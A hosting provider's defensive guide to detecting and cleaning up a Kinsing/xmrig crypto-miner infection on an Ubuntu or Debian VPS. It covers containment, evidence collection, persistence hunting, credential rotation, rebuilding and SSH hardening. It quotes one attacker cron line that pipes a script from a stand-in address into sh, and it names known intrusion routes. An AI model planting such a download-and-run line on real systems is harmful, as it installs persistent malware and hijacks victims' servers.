
Your VPS is slow, the CPU graph sits at 100 percent and top shows a process you never started: kdevtmpfsi, kinsing, xmrig or a random string. Your VPS was most likely hacked, and someone is mining cryptocurrency on your bill. Killing the process often doesn't help: with a cron job behind it, it's back within a minute. Below: how to confirm it, the first five steps in the right order, and how to keep it from happening again. Commands are for Ubuntu 24.04 and Debian 12.
Quick answer: A VPS hacked for crypto mining shows a process you didn't start using close to 100 percent CPU, often running from /tmp or /var/tmp, plus a cron job, service or SSH key that brings the attacker back. Work in this order: cut access with a firewall that only lets your own IP in, save evidence (processes, connections, file hashes, logs), find the way in and every way back (cron, systemd, authorized_keys, /etc/ld.so.preload), change every password, key and token from a clean device, and rebuild from a clean image. Then use SSH keys only, no root login with a password, fail2ban and automatic security updates.
Signs of a Crypto Miner on Your VPS
MITRE ATT&CK calls this compute hijacking and lists two signs to look for: "Unusual long-running processes consuming high CPU cycles," often started from cron, shell scripts or Docker, and "Connections to known mining pools." In practice you see some of these:
- CPU near 100 percent for hours with no traffic or job to explain it.
- A process name you don't know.
kdevtmpfsiis the miner that the Kinsing malware runs, andkinsingis the agent that talks to its control server, according to Aqua Security's analysis. XMRig is a legitimate open source CPU and GPU miner; if it runs on a server where you never set it up, someone else did. - It returns after
kill. Kinsing's script uses crontab to run itself every minute. - A cron line that downloads and runs a script, such as this one from a cleanup gist, with the address replaced:
* * * * * wget -q -O - http://203.0.113.50/p.sh | sh > /dev/null 2>&1. - SSH keys you didn't add, a persistence trick MITRE lists for several groups.
- High load, but nothing in
top. Some miners hide behind/etc/ld.so.preload, more on that in step 3. - An abuse notice from your host. Kinsing also brute-forces SSH on other machines, so your server may be attacking others.
Find the busiest process and look at where it runs from (replace 1234 with its PID):
ps aux --sort=-pcpu | head -5
ps -o user,pid,pcpu,etime,args -p 1234
sudo ls -l /proc/1234/exe /proc/1234/cwd
| What you see | What it suggests |
|---|---|
exe points into /tmp, /var/tmp or a hidden folder | A dropped binary, not a package |
exe ends in (deleted) | The file was removed from disk after it started (proc(5)) |
User www-data | The way in was probably a web app |
User redis or postgres | An exposed database |
User root | Assume the whole system is compromised |
One false alarm: [kdevtmpfs] in square brackets is a real kernel thread. ps prints kernel threads in brackets because they have no command line. The miner adds an i to the name and runs from a real file, such as /tmp/kdevtmpfsi in the gist above.
Step 1: Cut Access
You have two choices.
Power it off from your provider's panel if the server is attacking other machines, or if nothing on it is worth saving. The disk stays as it is; you lose only what was in memory.
Lock the network to your own IP if you need to copy data off first. In your SSH session, before sudo, run echo "$SSH_CLIENT": the first field is your IP. Work from the provider's web console if you have one, because the ufw manual warns that enabling the firewall "may drop existing connections (eg ssh)". On a Space-Node VPS that is the browser console in the panel, which doesn't depend on SSH. Replace 198.51.100.7 with your IP:
sudo ufw --force reset
sudo ufw default deny incoming
sudo ufw default deny outgoing
sudo ufw allow from 198.51.100.7 to any port 22 proto tcp
sudo ufw --force enable
sudo ufw status verbose
If ufw is missing, install it first with sudo apt install ufw. Blocking outgoing traffic stops the cron job from downloading new copies and the miner from opening new pool connections. Connections that are already open stay up, because UFW's before.rules accept established traffic, so you'll stop the miner itself in step 2.
This is a holding measure, not a fix: whoever has root can undo it. Docker containers aren't covered either, since Docker routes their packets before UFW's rules apply; see our Docker and UFW guide. Also, don't log in from this server to anything else, and don't connect with ssh -A: per the ssh manual, someone with root on the remote host can use your forwarded agent to "authenticate using the identities loaded into the agent."
Step 2: Save Evidence, Then Stop the Miner
NIST's incident response profile, SP 800-61r3, lists this outcome: "Incident data and metadata are collected, and their integrity and provenance are preserved." For one VPS that means saving the state before you change anything, so you can find the way in later. If your provider offers snapshots, take one now as well.
sudo -i
mkdir -m 700 /root/ir && cd /root/ir
date -u > time.txt
ps auxwwf > ps.txt
ss -tunap > connections.txt
for p in $(ps -eo pid= --sort=-pcpu | head -5); do
echo "== PID $p"; ls -l /proc/$p/exe /proc/$p/cwd
tr '\0' ' ' < /proc/$p/cmdline; echo
sha256sum /proc/$p/exe
done > top5.txt 2>&1
for u in $(cut -d: -f1 /etc/passwd); do echo "== $u"; crontab -l -u "$u" 2>/dev/null; done > crontabs.txt
cat /etc/crontab /etc/cron.d/* > cron-system.txt 2>&1
systemctl list-timers --all --no-pager > timers.txt
systemctl list-unit-files --type=service --state=enabled --no-pager > services.txt
ls -lt /etc/systemd/system > units-by-date.txt
find / -xdev -name 'authorized_keys*' -exec ls -l {} \; -exec cat {} \; > ssh-keys.txt 2>&1
awk -F: '$3 == 0' /etc/passwd > uid0.txt
cat /etc/ld.so.preload > preload.txt 2>&1
last -i > last.txt 2>&1
journalctl -u ssh --since "30 days ago" --no-pager > ssh-log.txt
docker ps -a > docker.txt 2>&1
cp -a /var/log/auth.log* /var/log/nginx /var/log/apache2 . 2>/dev/null
cd /root && tar czf ir.tar.gz ir
sha256sum /proc/PID/exe hashes the running binary even when its file was deleted, because opening that link opens the executable. You can look the hash up on VirusTotal. From your own computer, pull the archive off (if you log in as a sudo user, copy it to that user's home folder first):
scp root@203.0.113.10:/root/ir.tar.gz .
Now stop the miner with sudo kill -9 1234 and stop any container you don't recognise with sudo docker stop <id>. If a new copy appears within a minute, something restarts it, and step 3 finds it.
Step 3: Find the Way In and the Way Back
The way back. Read the files you saved:
| File | Look for |
|---|---|
crontabs.txt, cron-system.txt | curl or wget piped into sh, base64, paths in /tmp |
timers.txt, services.txt, units-by-date.txt | Names you don't know, recent dates; read one with systemctl cat <name> |
ssh-keys.txt | Keys you didn't add, or options such as command= |
uid0.txt | Any account other than root |
preload.txt | Any content at all |
/etc/ld.so.preload loads its libraries into every program, ps and top included. A normal Ubuntu or Debian install doesn't have this file, and MITRE notes the Rocke group used it to hide "mining software in process lists." If it lists a library you didn't put there, stop trusting anything the server shows you and go to step 5. Aqua also notes that Kinsing's script "deletes all cron jobs, including its own", so if cron jobs of yours have vanished, that's a clue too.
If rm or crontab -r fails as root with "Operation not permitted", run lsattr on the file. An i means the immutable flag is set, a trick MITRE records for TeamTNT.
The way in. Start with three checks:
sudo journalctl -u ssh --since "30 days ago" --no-pager | grep -E "Accepted (password|publickey)"
sudo ss -tlnp
sudo grep -rs "eval-stdin.php" /var/log/nginx /var/log/apache2 | head
| Clue | Likely way in |
|---|---|
Accepted password for root from an IP you don't know | A guessed or stolen SSH password |
Redis on 0.0.0.0:6379 or PostgreSQL on 0.0.0.0:5432 | An exposed database |
dockerd on port 2375 | The open Docker API, the route Aqua described for Kinsing in 2020 |
Requests for eval-stdin.php | CVE-2017-9841, an old PHPUnit bug in a web-reachable /vendor folder |
The PHPUnit bug has a CVSS score of 9.8 and is on CISA's list of exploited vulnerabilities. Aqua's November 2023 report describes Kinsing getting in through it, and names the Docker API, Redis and Jenkins servers among the group's usual targets, plus misconfigured PostgreSQL servers.
Check the machines this server can reach, too. MITRE says Kinsing reads /etc/hosts and SSH known_hosts to find other systems and spreads to them over SSH, so look at every host in ~/.ssh/known_hosts and ~/.ssh/config.
Step 4: Change Every Password, Key and Token From a Clean Device
According to MITRE, Kinsing searches .bash_history for credentials and looks for private keys, and in 2023 Aqua saw it try to collect cloud provider credentials. Treat every secret the server held as known. Do this from your own computer, not from the hacked server:
- Passwords for root and every user, plus anywhere you reused them.
- Private keys stored on the server (
~/.ssh/id_*, deploy keys): remove their public halves from GitHub, GitLab and other servers, then make new ones. - Secrets in
.envand config files: database passwords, API keys, Discord bot tokens, payment and SMTP keys, cloud access keys. - Your hosting account and domain registrar, if their passwords were ever typed or stored on the server.
Your own SSH key can stay if its private half never left your computer: the server only had the public half.
Step 5: Rebuild From a Clean Image
Cleaning in place means proving that you found everything. Linode's guide to recovering from a compromise (updated 2018) puts it plainly: "it's virtually impossible to determine the full scope of an attacker's reach into a compromised system." If the miner ran only as www-data and nothing in step 3 points to root, cleaning can work, but you can't prove root was never reached. On a single VPS, a rebuild usually takes less time than that proof.
- Get your data out. App data and database dumps, not programs. Our reinstall checklist shows what to save and has a section on restoring after a break-in.
- Reinstall the operating system. The Space-Node panel has Linux reinstall options, and backups aren't included in the plan price, so make your own copy first.
- Harden before you go live: updates, a sudo user with your key, the SSH settings below and a firewall.
- Install your apps fresh at current versions, restore the data, and close the hole from step 3. NIST's profile says to "remediate the root causes of the incident before production use" and to check backups for signs of compromise before restoring them.
- Watch CPU and new cron jobs for a few days.
Keep It From Happening Again
Turn off password logins and root login. Ubuntu and Debian read /etc/ssh/sshd_config.d/*.conf at the top of sshd_config, the files load in name order, and the first value wins, so a file starting with 00- beats a provider file such as 50-cloud-init.conf. Test key login for your sudo user in a second window first:
sudo tee /etc/ssh/sshd_config.d/00-hardening.conf >/dev/null <<'EOF'
PermitRootLogin no
PasswordAuthentication no
KbdInteractiveAuthentication no
EOF
sudo sshd -t && sudo systemctl restart ssh
sudo sshd -T | grep -E '^(permitrootlogin|passwordauthentication|kbdinteractiveauthentication) '
All three lines should end in no. Our SSH hardening guide goes further.
- fail2ban bans IPs that keep guessing; the Ubuntu package enables the sshd jail by default. Setup: fail2ban and UFW.
- Security updates: on Ubuntu, unattended-upgrades is installed and applies security updates automatically. Check it and set it up on Debian with our patching guide.
- Keep databases private. Redis says it's "not a good idea to expose the Redis instance directly to the internet"; use
bind 127.0.0.1. PostgreSQL listens on localhost by default, so leave it that way unless a firewall limits who can connect. - Never open the Docker API to the internet. Docker says remote access without TLS "is not recommended".
- Update web app dependencies and never serve the
vendorfolder.
FAQ
What are kdevtmpfsi and kinsing?
Parts of the same malware. MITRE describes Kinsing as "Golang-based malware that runs a cryptocurrency miner and attempts to spread itself", and Aqua found that the miner it runs is called kdevtmpfsi. The name is one letter away from kdevtmpfs, a real kernel thread that ps shows in brackets.
I deleted kdevtmpfsi and kinsing, but they came back. Why? A cron job, service or second copy downloads them again, often every minute. Scripts that delete the files every few minutes only treat the symptom, and the way in stays open. Follow steps 3 to 5.
I got hacked in 2 hours on a fresh VPS with root and a password. How? Malware such as Kinsing brute-forces SSH by itself and logs in with credentials that work, so any server that accepts passwords is a target as soon as it's online. If your VPS came with a root password, root login with a password was on from the start. SSH keys with password login switched off stop this kind of guessing.
Can I keep my data? Your data, yes, after you check it: dumps, uploads and app files you can read. Not programs, scripts, crontabs or unit files from the old system; write those again by hand.
Will ClamAV or rkhunter clean the server?
They help you audit copied data, and the Linode guide names both for that. But a scanner running on a server where someone had root can be fooled, for example through /etc/ld.so.preload, so a clean scan is no proof. Rebuild.
Should I tell my hosting provider? Yes, if you got an abuse notice or the server attacked other machines. Say what you found and that you're rebuilding. Also tell anyone whose data or keys were on the server.
Sources
All opened on 3 November 2026:
- Aqua Security: Threat Alert: Kinsing Malware Attacks Targeting Container Environments (3 April 2020, updated 27 August 2023), Looney Tunables vulnerability exploited by Kinsing (3 November 2023)
- MITRE ATT&CK: Kinsing (S0599), Compute Hijacking (T1496.001), SSH Authorized Keys (T1098.004), Dynamic Linker Hijacking (T1574.006), Linux and Mac File and Directory Permissions Modification (T1222.002)
- NIST: SP 800-61 Rev. 3, Incident Response Recommendations and Considerations for Cybersecurity Risk Management (April 2025; RS.AN-07, RS.MI-01, RS.MI-02, RC.RP-03, RC.RP-05), CVE-2017-9841
- Linode Docs (Akamai): Recovering from a System Compromise
- XMRig: repository, config file docs
- Community: yoyosan's kdevtmpfsi and kinsing cleanup gist
- Linux: proc_pid_exe(5), ld.so(8), chattr(1), ps(1), ss(8), devtmpfs.c, cron(8), systemctl
- OpenSSH: sshd_config(5), sshd(8), ssh(1), Ubuntu: OpenSSH server, Debian 12 sshd_config
- Firewall and updates: ufw(8), ufw before.rules, Ubuntu fail2ban defaults, Ubuntu: automatic updates
- Services: Docker remote access, Docker packet filtering and firewalls, Redis security, Redis default redis.conf, PostgreSQL connection settings